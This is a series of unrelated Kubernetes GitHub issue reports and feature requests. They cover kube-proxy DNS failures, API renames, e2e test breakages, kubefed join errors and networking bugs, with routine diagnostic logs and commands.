<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  : \r the latest version described in the changelog-1.12.md is still v1.12.0-rc.2, should be upgrade to ga version info.\r \r   what you expected to happen  :\r it should be upgrade as the release-1.12 and master branch.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just check the https://github.com/kubernetes/kubernetes/blob/v1.12.0/changelog-1.12.md\r \r   anything else we need to know?  :\r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what would you like to be added  :\r from server.go:\r    \r // deprecated: the closenotifier interface predates go's context package.\r // new code should use request.context instead.\r    \r we should use context in place of:\r    \r \tcn, ok := w. http.closenotifier \r    \r   why is this needed  :\r closenotifier is deprecated.

today, many cloud provider provide some kind of services, such as rds in aws, and they also provide api to create service instances on demand. also, these services may be more robust  high availability , have  better performance or even have special features than that deployed in some pods. according to  this document  http://kubernetes.io/v1.0/docs/user-guide/services.html services-without-selectors , we create a service linking to an external endpoint by ignoring the selector property and creating an endpoint manually. but, the whole process is totally manually.  the service types vary between different cloud providers, but from the view of k8s, it only need an interface to provision a service instance and get its endpoint, so it is possible to define an consistent api for all kinds of services, such as  the broker api in cloudfoundry  http://docs.cloudfoundry.org/services/api.html .  i want to know if it is possible for k8s to integrate with the cloud provider to create a service instance and configure an endpoint for the service. are there any bp for similar features?

this issue has been  discussed  13709   before  5461  and the  current behavior  https://github.com/kubernetes/kubernetes/commit/4b299476521d80c7e071d5551b22555638d6d7f3  is presently  desired  6716 , but i am here to offer my experience and present a novel approach for discussion.      our experience  dns resolution across our cluster was failing, despite being able to successfully dig the pod ips directly and both skydns replicas reporting healthy. the kube-proxy was still up and its iptables rules were in place:      $ sudo iptables-save | grep 10.0.0.10 -a kube-portals-container -d 10.0.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp --dport 53 -j redirect --to-ports 52726 -a kube-portals-container -d 10.0.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp --dport 53 -j redirect --to-ports 60214 -a kube-portals-host -d 10.0.0.10/32 -p udp -m comment --comment \ kube-system/kube-dns:dns\  -m udp --dport 53 -j dnat --to-destination 172.20.0.130:52726 -a kube-portals-host -d 10.0.0.10/32 -p tcp -m comment --comment \ kube-system/kube-dns:dns-tcp\  -m tcp --dport 53 -j dnat --to-destination 172.20.0.130:60214      but lo, there was no reachability:      $ dig @localhost -p 52726 foobar ; <<>> dig 9.10.2-p2 <<>> @localhost -p 52726 foobar ;  1 server found  ;; global options: +cmd ;; connection timed out; no servers could be reached      and yet, dns-over-tcp worked fine:      $ dig +tcp @localhost -p 60214 foobar ; <<>> dig 9.10.2-p2 <<>> +tcp @localhost -p 60214 foobar ;  1 server found  ;; global options: +cmd ;; got answer: ;; >>header<< opcode: query, status: servfail, id: 21264 ;; flags: qr rd ra; query: 1, answer: 0, authority: 0, additional: 0 ;; question section: ;foobar.    in  a ;; query time: 0 msec ;; server: 127.0.0.1 60214 127.0.0.1  ;; when: mon oct 12 21:19:31 utc 2015 ;; msg size rcvd: 24      research in our log aggregator revealed the following message  corresponding with commit 4b2994 linked above :      oct 12 19:23:47 ip-172-20-0-167.us-west-2.compute.internal kube-proxy 3653 : e1012 19:23:47.923261 3653 util.go:69  recovered from panic: \ dial failed: dial udp 10.244.93.32:53: too many open files\   dial failed: dial udp 10.244.93.32:53: too many open files       in our case  using the default coreos config as of 779.0.0 , the nofiles limit is very low  1024 , and the issue appeared to be transient in that a restart of the kube-proxy was sufficient to restore service. in my estimation we had a connection burst that had the kube-proxy managing slightly over 1024 concurrent connections, at which point the next unlucky 1025th connection triggered the panic condition and permanently terminated the goproc responsible for proxying traffic on that port.  the issue is exacerbated in that it is difficult to monitor for directly – everything appears to be in place, but there's nothing on the kube-proxy end to pick up the phone. sending a trace over the cross product of service ips and nodes seems to be the only way to detect this kind of failure.      possible solution  it helps a great deal to increase the ulimit ceiling, and i'm happy to see that in v1.1.0 it looks like the kube-proxy  tries to do this for itself  https://github.com/kubernetes/kubernetes/commit/6945cb050caa91dbc16b4fca452061c959b94b11 , but the issue of subset of ports ceasing to respond to traffic will still persist  albeit with a much lower incidence rate .  it seems that the panic'ing code was put in place to deal with conditions where the sustained connection load was larger than the number of available filehandles, and the errors from kube-proxy were filling the logs with a degree of noise. both in our scenario and in sustained high-contention situations, it seems that a better solution would be to offer backpressure to the connecting client by refusing the connection  in the case of tcp  or throttle the rate of upstream datagrams  in the case of udp .   the simplest idea i have on hand would be for the kube-proxy to allow the panic of a single proxier goproc to panic the entire process – a failing-and-restarting process is much more visible & easier to debug than a single green thread going quietly missing.

what keywords did you search in kubernetes issues before filing this one?  : scheduledjob\r \r ---\r \r   is this a bug report or feature request?  : bug report\r \r   kubernetes version    use  kubectl version  :\r    console\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:22:15z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.3.6+b930bfda10fba6\ , gitcommit:\ b930bfda10fba670bf09ed3936ccdc9724e4c860\ , gittreestate:\ clean\ , builddate:\ 2016-12-12t21:02:27z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release :\r    console\r $ cat /etc/os-release\r build_id=8977.0.0\r name=\ container-vm image\ \r google_crash_id=lakitu\r version_id=56\r bug_report_url=https://crbug.com/new\r pretty_name=\ google container-vm image\ \r version=56\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=gci\r    \r -   kernel    e.g.  uname -a  : linux e2e-test-krousey-master 4.4.21+  1 smp thu nov 10 02:50:15 pst 2016 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r -   install tools  : ./hack/test/e2e.go -v -up\r \r   what happened  : scheduledjob endpoints return cronjob resources after the rename.\r \r \r   what you expected to happen  : scheduledjob endpoints should return scheduledjob resources\r \r \r   how to reproduce it    as minimally and precisely as possible : turn up a 1.5 cluster. curl the /apis/batch/v2alpha1/scheduledjobs endpoint. it returns\r \r    json\r {\r   \ kind\ : \ cronjoblist\ ,\r   \ apiversion\ : \ batch/v2alpha1\ ,\r   \ metadata\ : {\r     \ selflink\ : \ /apis/batch/v2alpha1/namespaces/kube-system/scheduledjobs\ ,\r     \ resourceversion\ : \ 10063\ \r   },\r   \ items\ : null\r }\r    \r \r cc @kubernetes/sig-api-machinery @deads2k @smarterclayton \r

is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r current master\r \r   environment  :\r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : ubuntu 16.04 latest\r -   kernel    e.g.  uname -a  :\r -   install tools  : custom using blown up configuration\r \r   what happened  :\r when i deploy kubernetes to a single node cluster on gce with cloudprovider enabled and when i do:\r \r    \r ~> kubectl get nodes\r name                    status    age       version\r hekumar-multizone-bug   ready     6m        v1.6.0-alpha.0.3971+7a387842598a61\r    \r \r but when i create a pod i see following error in scheduler log\r \r    \r ignoring node hekumar-multizone-bug with networkunavailable condition status true\r    \r \r this used to work. i agree my deployment is bit weird because i am not using  kube-up.sh  or anything,\r i am just running all components of kubernetes manually properly configured to talk to each other. the node has full access to gce api which is further confirmed by the fact that i can use dynamic provisioning etc.\r \r \r   what you expected to happen  :\r \r if node is indeed not ready because of network unavailability,  kubectl get nodes  should not show node as ready. but it looks like something broke recently.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r deploy a k8s cluster on a gce node manually:\r 1. copy all kube binaries.\r 2. start etcd\r 3. start kube-apiserver, controller, kubelet, scheduler, proxy so as they can talk to each other.\r 4. schedule a pod \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-etcd3/5623/ multiple broken tests:  failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ slow\\ |\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\ : exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed: teardown {e2e.go}      error during ./hack/e2e-internal/e2e-down.sh: signal: interrupt     issues about this test specifically:  34118  34795  37058  38207   failed: diffresources {e2e.go}      error: 17 leaked resources   instances   +name                  zone           machine_type   preemptible  internal_ip  external_ip    status +bootstrap-e2e-master  us-central1-f  n1-standard-1               10.240.0.2   35.184.125.88  running   disks   +name                     zone           size_gb  type         status +bootstrap-e2e-master     us-central1-f  20       pd-standard  ready +bootstrap-e2e-master-pd  us-central1-f  20       pd-ssd       ready   addresses   +name                     region       address        status +bootstrap-e2e-master-ip  us-central1  35.184.125.88  in_use   routes   +bootstrap-e2e-0311bfcb-0f06-11e7-b9ad-42010af00002  bootstrap-e2e  10.180.2.0/24  us-central1-f/instances/bootstrap-e2e-master  1000   routes   +default-route-15a11b0147c0532e                      bootstrap-e2e  10.240.0.0/16                                                1000 +default-route-3610777a52d451ba                      bootstrap-e2e  0.0.0.0/0      default-internet-gateway                      1000   firewall-rules   +name                                   network        src_ranges     rules                                       src_tags              target_tags +bootstrap-e2e-default-internal-master  bootstrap-e2e  10.0.0.0/8     tcp:1-2379,tcp:2382-65535,udp:1-65535,icmp                        bootstrap-e2e-master +bootstrap-e2e-default-internal-node    bootstrap-e2e  10.0.0.0/8     tcp:1-65535,udp:1-65535,icmp                                      bootstrap-e2e-minion +bootstrap-e2e-default-ssh              bootstrap-e2e  0.0.0.0/0      tcp:22 +bootstrap-e2e-master-etcd              bootstrap-e2e                 tcp:2380,tcp:2381                           bootstrap-e2e-master  bootstrap-e2e-master +bootstrap-e2e-master-https             bootstrap-e2e  0.0.0.0/0      tcp:443                                                           bootstrap-e2e-master +bootstrap-e2e-minion-all               bootstrap-e2e  10.180.0.0/14  tcp,udp,icmp,esp,ah,sctp                                          bootstrap-e2e-minion     issues about this test specifically:  33373  33416  34060  40437  40454  42510  43153   failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 1 pod to 2 pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:80 expected error:     < errors.statuserror | 0xc4210f1a80>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server  \\\ error: 'eof'\\\ trying to reach: 'http://10.180.1.110:8080/consumecpu?durationsec=30&millicores=150&requestsizemillicores=20'\\\   has prevented the request from succeeding  post services rc-light-ctrl \ ,             reason: \ internalerror\ ,             details: {                 name: \ rc-light-ctrl\ ,                 group: \ \ ,                 kind: \ services\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ error: 'eof'\ trying to reach: 'http://10.180.1.110:8080/consumecpu?durationsec=30&millicores=150&requestsizemillicores=20'\ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 503,         },     }     an error on the server  \ error: 'eof'\ trying to reach: 'http://10.180.1.110:8080/consumecpu?durationsec=30&millicores=150&requestsizemillicores=20'\   has prevented the request from succeeding  post services rc-light-ctrl  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:235     issues about this test specifically:  27443  27835  28900  32512  38549  previous issues for this suite:  36938  37168  37930  38066  43052  43189  43341

this issue will track daemonset update related work in k8s 1.7 release.\r \r tasks to do:\r -  x  daemonset history   45924 \r -  x   kubectl rollout  commands: history, undo   46144 \r -  x   kubectl delete  should kill all histories when ds is deleted cascadingly, and should orphan histories when ds is deleted non-cascadingly\r \r maybe to do:\r -     pause update\r -     versioned daemonset  https://github.com/kubernetes/kubernetes/issues/42917 \r \r feature https://github.com/kubernetes/features/issues/124\r \r cc @janetkuo @kargakis \r

it is failing to create all the nodes since:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/5030\r \r @kubernetes/sig-scalability-bugs @gmarek @shyamjvs

there are multiple bugs in glbc v0.9.3 which have been fixed in tip of master.  the glbc.manifest file needs to get the latest version before 1.7.0 release.\r \r

it looks like a test configuration failure:\r \r    \r w0630 12:17:05.919  cannot find kubetest in /var/lib/jenkins/workspace/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/./test-infra/jenkins/../scenarios/../jenkins/e2e-image, will install from test-infra\r w0630 12:17:05.920  run:  'go', 'install', 'k8s.io/test-infra/kubetest' \r w0630 12:17:06.345  can't load package: package k8s.io/test-infra/kubetest: cannot find package \ k8s.io/test-infra/kubetest\  in any of:\r w0630 12:17:06.345  \t/usr/local/go/src/k8s.io/test-infra/kubetest  from $goroot \r w0630 12:17:06.346  \t/var/lib/jenkins/workspace/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/go/src/k8s.io/test-infra/kubetest  from $gopath \r w0630 12:17:06.346  traceback  most recent call last :\r w0630 12:17:06.347    file \ /var/lib/jenkins/workspace/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 535, in <module>\r w0630 12:17:06.347      main parse_args   \r w0630 12:17:06.347    file \ /var/lib/jenkins/workspace/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 449, in main\r w0630 12:17:06.347      mode.start runner_args \r w0630 12:17:06.347    file \ /var/lib/jenkins/workspace/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 209, in start\r w0630 12:17:06.347      self.install_prerequisites  \r w0630 12:17:06.347    file \ /var/lib/jenkins/workspace/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 173, in install_prerequisites\r w0630 12:17:06.347      check 'go', 'install', 'k8s.io/test-infra/kubetest' \r w0630 12:17:06.347    file \ /var/lib/jenkins/workspace/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/./test-infra/jenkins/../scenarios/kubernetes_e2e.py\ , line 41, in check\r w0630 12:17:06.348      subprocess.check_call cmd \r w0630 12:17:06.348    file \ /usr/lib/python2.7/subprocess.py\ , line 540, in check_call\r w0630 12:17:06.348      raise calledprocesserror retcode, cmd \r w0630 12:17:06.348  subprocess.calledprocesserror: command ' 'go', 'install', 'k8s.io/test-infra/kubetest' ' returned non-zero exit status 1\r e0630 12:17:06.351  build failed\r i0630 12:17:06.351  process 5073 exited with code 1 after 0.0m\r e0630 12:17:06.351  fail: ci-kubernetes-e2e-gci-gce-scalability-release-1-7\r i0630 12:17:06.351  upload result and artifacts...\r i0630 12:17:06.351  gubernator results at https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability-release-1-7/63\r i0630 12:17:06.351  call:  git rev-parse head\r w0630 12:17:06.354  fatal: not a git repository  or any of the parent directories : .git\r e0630 12:17:06.354  build failed\r    \r \r @gmarek @wojtek-t

is this a bug report or feature request?  :\r  \r   what happened  :\r  volumesinuse  is not sent in a stable sort order.  this makes node status patch requests larger than needed, and makes debugging nodes harder than necessary.\r \r   what you expected to happen  :\r stable sort of volumesinuse\r \r   how to reproduce it  as minimally and precisely as possible   :\r always\r \r   anything else we need to know?  :\r nope\r \r   environment  :\r n/a

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i was successfully able to  kubefed init  a federation control plane on a gke k8s cluster, but upon attempting to join the cluster the following error occurs:\r \r    \r ...\r i0816 10:46:38.538848    5942 join.go:538  creating service account in joining cluster\r i0816 10:46:38.539061    5942 request.go:991  request body: {\ kind\ :\ serviceaccount\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ gce-us-west1-gke_<project>_us-west1-b_gce-us-west1\ ,\ namespace\ :\ federation-system\ ,\ creationtimestamp\ :null,\ annotations\ :{\ federation.alpha.kubernetes.io/cluster-name\ :\ gce-us-west1\ ,\ federation.alpha.kubernetes.io/federation-name\ :\ federation\ }}}\r i0816 10:46:38.539134    5942 round_trippers.go:386  curl -k -v -xpost  -h \ accept: application/json,  / \  -h \ content-type: application/json\  -h \ user-agent: kubefed/v1.7.3  linux/amd64  kubernetes/2c2fe6e\  -h \ authorization: basic abcdefghijklmnopqrstuvwxyzabcd==\  https://35.197.74.218/api/v1/namespaces/federation-system/serviceaccounts\r i0816 10:46:38.576175    5942 round_trippers.go:405  post https://35.197.74.218/api/v1/namespaces/federation-system/serviceaccounts 422 unprocessable entity in 37 milliseconds\r i0816 10:46:38.576211    5942 round_trippers.go:411  response headers:\r i0816 10:46:38.576225    5942 round_trippers.go:414      date: wed, 16 aug 2017 17:46:38 gmt\r i0816 10:46:38.576236    5942 round_trippers.go:414      content-type: application/json\r i0816 10:46:38.576245    5942 round_trippers.go:414      content-length: 1038\r i0816 10:46:38.576515    5942 request.go:991  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ serviceaccount \\\ gce-us-west1-gke_<project>_us-west1-b_gce-us-west1\\\  is invalid: metadata.name: invalid value: \\\ gce-us-west1-gke_<project>_us-west1-b_gce-us-west1\\\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\\\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \ ,\ reason\ :\ invalid\ ,\ details\ :{\ name\ :\ gce-us-west1-gke_<project>_us-west1-b_gce-us-west1\ ,\ kind\ :\ serviceaccount\ ,\ causes\ : {\ reason\ :\ fieldvalueinvalid\ ,\ message\ :\ invalid value: \\\ gce-us-west1-gke_<project>_us-west1-b_gce-us-west1\\\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\\\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \ ,\ field\ :\ metadata.name\ } },\ code\ :422}\r i0816 10:46:38.576711    5942 join.go:541  error creating service account in joining cluster: serviceaccount \ gce-us-west1-gke_<project>_us-west1-b_gce-us-west1\  is invalid: metadata.name: invalid value: \ gce-us-west1-gke_<project>_us-west1-b_gce-us-west1\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \r i0816 10:46:38.576736    5942 join.go:234  could not create cluster credentials secret: serviceaccount \ gce-us-west1-gke_<project>_us-west1-b_gce-us-west1\  is invalid: metadata.name: invalid value: \ gce-us-west1-gke_<project>_us-west1-b_gce-us-west1\ : a dns-1123 subdomain must consist of lower case alphanumeric characters, '-' or '.', and must start and end with an alphanumeric character  e.g. 'example.com', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ? \\. a-z0-9   -a-z0-9   a-z0-9  ?  ' \r    \r this appears to be caused by the context name  gke_<project>_us-west1-b_gce-us-west1  which is using the default context name for a gke cluster that is automatically imported to the kubeconfig file by  gcloud .\r \r if i update the kubeconfig context to get rid of the  _  to something like  gce-us-west1 , i can get past the above error but then subsequently hit the following error:\r \r    \r i0817 18:12:26.855195   14103 join.go:538  creating service account in joining cluster\r i0817 18:12:26.855329   14103 request.go:991  request body: {\ kind\ :\ serviceaccount\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ gce-us-west1-gce-us-west1\ ,\ namespace\ :\ federation-system\ ,\ creationtimestamp\ :null,\ annotations\ :{\ federation.alpha.kubernetes.io/cluster-name\ :\ gce-us-west1\ ,\ federation.alpha.kubernetes.io/federation-name\ :\ federation\ }}}\r i0817 18:12:26.855376   14103 round_trippers.go:386  curl -k -v -xpost  -h \ accept: application/json,  / \  -h \ content-type: application/json\  -h \ user-agent: kubefed/v1.7.3  linux/amd64  kubernetes/2c2fe6e\  -h \ authorization: basic abcdefghijklmnopqrstuvwxyzabcd==\  https://35.197.74.218/api/v1/namespaces/federation-system/serviceaccounts\r i0817 18:12:26.885490   14103 round_trippers.go:405  post https://35.197.74.218/api/v1/namespaces/federation-system/serviceaccounts 201 created in 30 milliseconds\r i0817 18:12:26.885536   14103 round_trippers.go:411  response headers:\r i0817 18:12:26.885550   14103 round_trippers.go:414      content-length: 470\r i0817 18:12:26.885560   14103 round_trippers.go:414      date: fri, 18 aug 2017 01:12:26 gmt\r i0817 18:12:26.885570   14103 round_trippers.go:414      content-type: application/json\r i0817 18:12:26.886617   14103 request.go:991  response body: {\ kind\ :\ serviceaccount\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{\ name\ :\ gce-us-west1-gce-us-west1\ ,\ namespace\ :\ federation-system\ ,\ selflink\ :\ /api/v1/namespaces/federation-system/serviceaccounts/gce-us-west1-gce-us-west1\ ,\ uid\ :\ 4c7d5fb9-83b2-11e7-bda1-42010a8a01d8\ ,\ resourceversion\ :\ 220285\ ,\ creationtimestamp\ :\ 2017-08-18t01:12:26z\ ,\ annotations\ :{\ federation.alpha.kubernetes.io/cluster-name\ :\ gce-us-west1\ ,\ federation.alpha.kubernetes.io/federation-name\ :\ federation\ }}}\r i0817 18:12:26.886800   14103 join.go:544  created service account in joining cluster\r i0817 18:12:26.886817   14103 join.go:546  creating role binding for service account in joining cluster\r i0817 18:12:26.887024   14103 request.go:991  request body: {\ kind\ :\ clusterrole\ ,\ apiversion\ :\ rbac.authorization.k8s.io/v1beta1\ ,\ metadata\ :{\ name\ :\ federation-controller-manager:federation-gce-us-west1-gce-us-west1\ ,\ namespace\ :\ federation-system\ ,\ creationtimestamp\ :null,\ annotations\ :{\ federation.alpha.kubernetes.io/cluster-name\ :\ gce-us-west1\ ,\ federation.alpha.kubernetes.io/federation-name\ :\ federation\ }},\ rules\ : {\ verbs\ : \  \  ,\ apigroups\ : \  \  ,\ resources\ : \  \  },{\ verbs\ : \ get\  ,\ nonresourceurls\ : \ /healthz\  } }\r i0817 18:12:26.887093   14103 round_trippers.go:386  curl -k -v -xpost  -h \ accept: application/json,  / \  -h \ content-type: application/json\  -h \ user-agent: kubefed/v1.7.3  linux/amd64  kubernetes/2c2fe6e\  -h \ authorization: basic abcdefghijklmnopqrstuvwxyzabcd==\  https://35.197.74.218/apis/rbac.authorization.k8s.io/v1beta1/clusterroles\r i0817 18:12:26.917114   14103 round_trippers.go:405  post https://35.197.74.218/apis/rbac.authorization.k8s.io/v1beta1/clusterroles 409 conflict in 29 milliseconds\r i0817 18:12:26.917149   14103 round_trippers.go:411  response headers:\r i0817 18:12:26.917161   14103 round_trippers.go:414      content-length: 388\r i0817 18:12:26.917167   14103 round_trippers.go:414      date: fri, 18 aug 2017 01:12:26 gmt\r i0817 18:12:26.917173   14103 round_trippers.go:414      content-type: application/json\r i0817 18:12:26.917214   14103 request.go:991  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ clusterroles.rbac.authorization.k8s.io \\\ federation-controller-manager:federation-gce-us-west1-gce-us-west1\\\  already exists\ ,\ reason\ :\ alreadyexists\ ,\ details\ :{\ name\ :\ federation-controller-manager:federation-gce-us-west1-gce-us-west1\ ,\ group\ :\ rbac.authorization.k8s.io\ ,\ kind\ :\ clusterroles\ },\ code\ :409}\r i0817 18:12:26.917356   14103 join.go:630  could not create role for service account in joining cluster: clusterroles.rbac.authorization.k8s.io \ federation-controller-manager:federation-gce-us-west1-gce-us-west1\  already exists\r i0817 18:12:26.917375   14103 join.go:549  error creating role binding for service account in joining cluster: clusterroles.rbac.authorization.k8s.io \ federation-controller-manager:federation-gce-us-west1-gce-us-west1\  already exists\r i0817 18:12:26.917390   14103 join.go:234  could not create cluster credentials secret: clusterroles.rbac.authorization.k8s.io \ federation-controller-manager:federation-gce-us-west1-gce-us-west1\  already exists\r i0817 18:12:26.917446   14103 helpers.go:207  server response object:  {\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ clusterroles.rbac.authorization.k8s.io \\\ federation-controller-manager:federation-gce-us-west1-gce-us-west1\\\  already exists\ ,\r   \ reason\ : \ alreadyexists\ ,\r   \ details\ : {\r     \ name\ : \ federation-controller-manager:federation-gce-us-west1-gce-us-west1\ ,\r     \ group\ : \ rbac.authorization.k8s.io\ ,\r     \ kind\ : \ clusterroles\ \r   },\r   \ code\ : 409\r } \r f0817 18:12:26.917481   14103 helpers.go:120  error from server  alreadyexists : clusterroles.rbac.authorization.k8s.io \ federation-controller-manager:federation-gce-us-west1-gce-us-west1\  already exists\r    \r \r   what you expected to happen  :\r properly be able to  kubefed join  the cluster into the federation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r 1. gcloud container clusters create --cluster-version=1.7.3 <cluster_name> --zone=<zone> --scopes \ cloud-platform,storage-ro,logging-write,monitoring-write,service-control,service-management,https://www.googleapis.com/auth/ndev.clouddns.readwrite\ \r 2. kubefed init federation --host-cluster-context=<cluster_context> --dns-provider='google-clouddns' --dns-zone-name=<dns_zone_name> --controllermanager-arg-overrides=\ --v=10\  --apiserver-arg-overrides=\ --v=10\  --v=10\r 3. kubefed join <cluster_name> --host-cluster-context=<cluster_context> --cluster-context=<cluster_context> --v=10\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r → kubefed version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  : gke\r \r cc: @kubernetes/sig-federation-bugs

currently, gce audit policy is v1alpha1 and doesn't match the list of resources in 1.8. it has to be updated before the release and e2e should check that it's correct.

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r noopnetworkplugin   sets the ipv4 ip tables, but not the ipv6.\r func  plugin  noopnetworkplugin  init   sets net/bridge/bridge-nf-call-iptables to 1.\r this also needs to set net/bridge/bridge-nf-call-ip6tables\r \r   what you expected to happen  :\r for ipv6 to have parity with ipv4, we need to set the ipv6 pables also.\r \r   how to reproduce it  as minimally and precisely as possible   :\r all cases:\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

>  \r   what happened  :\r the gpudeviceplugin e2e test added in test/e2e/scheduling/nvidia-gpus.go has been more flaky than the gpu test.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-scalability-bugs  \r / \r   what happened  :\r \r when one creates a large  ~5k nodes  cluster, and then deletes it, and then creates a medium sized cluster  300 nodes , then it seems to come up ok, but the nodes never get their network configured.\r \r the reason is:\r \r    \r   warning  failedtocreateroute      43m                route_controller                                 could not create route 196da847-fcf9-11e7-ae7a-42010a8e0002 10.64.62.0/24 for node e2e-test-porridge-minion-group-zlvv after 5.551238516s: googleapi: error 400: invalid value for field 'resource.destrange': '10.64.62.0/24'. 10.64.62.0/24 hides the address space of the network  10.64.0.0/11 . cannot change the routing of packets destined for the network., invalid\r    \r \r and the reason for that is that some network or subnetwork was not cleaned up after the large cluster, but its size was somehow incompatible with the one for the medium cluster, so it is not reusable.\r \r   what you expected to happen  :\r \r creating the cluster should fail as early as possible if unusable network configuration is present.\r

